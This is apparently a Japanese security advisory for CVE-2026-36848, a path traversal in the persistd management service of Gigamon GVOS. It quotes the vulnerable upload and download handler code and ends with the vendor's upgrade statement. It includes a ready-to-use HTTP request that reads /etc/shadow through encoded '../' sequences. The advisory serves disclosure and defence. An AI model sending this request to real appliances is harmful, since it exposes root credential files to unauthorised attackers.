
Gigamon 未承認のリモートコード実行 (CVE-2026-36848)
Gigamon-VUE OS (GVOS) アプライアンスのポート8089で動作するWebベースの管理エンジンにおいて、重大なパストラバーサル脆弱性が特定されました。この脆弱性は、persistd デーモン内のレガシーH-VUEサブシステムに存在し、ネットワーク経由でサービスにアクセス可能な認証されていないリモート攻撃者が、root権限で任意のファイルを読み取り、部分的な書き込み操作(既存ファイルの上書きは不可)を実行することを可能にします。
/opt/tms/persistd_py/persistd.pyroot ユーザーで実行)ポート8089で動作するTornadoHTTP Webサービスは、/opt/tms/persistd_py/persistd.py 内にマッピングされたルーティング設定を実装しています。このデーモンは、データベース操作と設定バックアップを処理するための複数のルートを公開しています:
app = tornado.web.Application([
(r"/upload(?:/([^/]*))/?", UploadDbFile),
(r"/download/([^/]+)/?", DownloadDbFile),
# ... other routes
])
ハンドラー DownloadDbFile と UploadDbFile は、URIの正規表現キャプチャグループからユーザー提供のパスを直接取得し、フィルタリングせずに低レベルのユーティリティ関数に渡します。
クライアントがファイルダウンロードを要求すると、GETハンドラーが download_file ユーティリティを呼び出します:
class DownloadDbFile(GenericApiHandler):
@gen.coroutine
def get(self, file_name):
# ... [validation steps skipped for clarity] ...
elif file_name is not None:
msgif = yield download_file(self, file_name)
内部のターゲット関数 download_file は、安全な正規パスを解決するのではなく、単純な文字列連結を使用して要求されたファイルを開こうとします:
@gen.coroutine
def download_file(caller, file_name):
buf_size = 4096
caller.set_header('Content-Type', 'application/octet-stream')
caller.set_header('Content-Disposition', 'filename=' + file_name)
msg = 'ok'
try:
# 根本原因: 直接の連結により、トラバーサルシーケンスによるディレクトリ脱出が可能
with open(DBFILE_DIR + file_name, 'r') as f:
while True:
data = f.read(buf_size)
if not data:
break
caller.write(data)
except IOError as ioe:
msg = ioe
raise gen.Return(msg)
サニティフィルタリング(例:.. のようなディレクトリトラバーサルシーケンスのチェック)がないため、file_name を介して注入された相対パスシーケンスは、そのまま DBFILE_DIR に連結され、システムルートを基準に解決されます。
同様に、データベースアップロードに使用されるPUTハンドラーは、リクエストボディとユーザー定義のパスを直接 upload_file ユーティリティに渡します:
class UploadDbFile(GenericApiHandler):
@gen.coroutine
def put(self, path=None):
# ...
if path is not None:
msgif = yield upload_file(self.request.body, path)
upload_file ルーチンは、os.path.join を使用してターゲットパスを決定します。しかし、一般的なセキュリティの誤解として、os.path.join がトラバーサルから保護するというものがあります。実際には、os.path.join に渡されたコンポーネントが絶対パスまたは相対トラバーサルステップを含む場合、解決されたパスはベースディレクトリから脱出します:
@gen.coroutine
def upload_file(body, path):
msg = 'ok'
tmp_path = None
try:
yield lock.acquire()
# 脆弱なシンク1: os.path.joinはディレクトリトラバーサルシーケンスを無効化しない
full_path = os.path.join(DBFILE_DIR, path)
if os.path.exists(full_path):
msg = 'dup'
else:
tmp_path = full_path + '.tmp'
old_files = filesInDir(DBFILE_DIR)
with open(tmp_path, 'wb') as out:
out.write(bytes(body))
# 脆弱なシンク2: rename操作は安全でない文字列連結を実行
os.rename(tmp_path, DBFILE_DIR + path)
この構造的な入力サニタイズの欠如により、攻撃者はトラバーサルステップを含むパスを提供し、DBFILE_DIR の境界外で、デーモンを実行しているrootユーザーコンテキストの権限で任意のファイルを書き込むことが可能になります。
攻撃者がパス区切り文字(/ を %2F)をURLエンコードすると、ルーティングエンジンがシーケンスをスムーズにデコードおよび評価し、標準のパス制限をバイパスします。
GET /download/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fshadow HTTP/1.1
Host: <target_ip>:8089
Accept: /
以下は、この脆弱性に関するベンダーからの公式声明およびアップグレードガイダンスです:
このCVEの問題はH-VUEサブシステムのみに存在していました。GVOSバージョン6ではH-VUEサブシステムが完全に削除され、GVOS 5.16.1がこれを組み込んだ最後のバージョンです。バージョン5.16.1は2023年5月26日にサポート終了となりました。現在サポートされているGVOSのバージョンには、この脆弱性は含まれていません。
サポートされているバージョンとサポート終了日を記載したGVOSのサポートマトリックスは、こちらにあります: https://www.gigamon.com/content/dam/customer-portal/MS-Software-Versions-7181.pdf
Gigamonの販売終了およびサポート終了ポリシーは、こちらにあります: https://www.gigamon.com/support/policies/eol-policy.html
いかなるGigamon本番環境も、サポートされていないソフトウェアバージョン(NIST SP 800-53 SA-22「サポートされていないシステムコンポーネント」)を実行すべきではありません。もし実行している場合は、Gigamonはサポートされているリリースにできるだけ早くアップグレードすることを強く推奨します。サポート対象のお客様は、Gigamonコミュニティポータルからアップグレード版のGVOSを入手できます。サポート対象外のお客様は、サポートオプションについてGigamonにご連絡ください: https://www.gigamon.com/contact-sales.html
この開示プロセスにおける卓越した調整に対し、Gigamonのプロダクトセキュリティおよびエンジニアリングチームに感謝の意を表します。